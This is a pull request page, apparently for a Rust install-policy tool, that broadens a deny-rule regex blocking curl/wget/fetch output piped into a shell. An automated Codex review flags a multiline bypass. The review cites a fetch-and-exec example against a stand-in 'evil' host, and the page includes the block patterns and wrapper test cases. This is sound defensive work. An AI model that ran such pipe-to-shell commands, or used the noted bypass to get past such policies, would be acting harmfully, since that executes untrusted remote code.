security(policy): catch wrapped pipe-to-shell fetches#33
Conversation
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 08b203c175
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
|
|
||
| [[deny.commands]] | ||
| pattern = '\b(curl|wget|fetch)\b[^|]*\|\s*[a-z/]*sh\b' | ||
| pattern = '\b(curl|wget|fetch)\b[^|]*\|.*\b[a-z/]*sh\b' |
There was a problem hiding this comment.
Restore newline-safe pipe-to-shell matching
When the pipeline is formatted across lines, e.g. a Bash/package script containing curl https://evil/x |\nsh, this no longer matches because Rust regex . does not consume newlines; the previous \s* did. That reopens a simple multiline fetch-and-exec bypass in the shipped default policy (and the mirrored preflight regex uses the same pattern), while the new tests only exercise single-line wrapper pipelines.
Useful? React with 👍 / 👎.
08b203c to
a408fcd
Compare
a408fcd to
498696f
Compare
Motivation
curl … | env shorcurl … | /usr/bin/env bashno longer hit the block rule, reintroducing a bypass for remote fetch-and-exec patterns.Description
src/install/defaults.rsfrom\b(curl|wget|fetch)\b[^|]*\|\s*[a-z/]*sh\bto\b(curl|wget|fetch)\b[^|]*\|.*\b[a-z/]*sh\bso wrapper commands and multi-stage pipelines after the first pipe match.src/preflight/mod.rsso lifecycle script scanning mirrors the shipped default policy.| env sh,| /usr/bin/env bash,| nice sh, and| tee … | share blocked.Testing
cargo test pipe_to_shell_still_blocks_after_curl_rulesandcargo test blocks_postinstall_curl_pipe_to_shell, both of which passed.cargo test, which completed with all tests passing (252 passed, 0 failed).Codex Task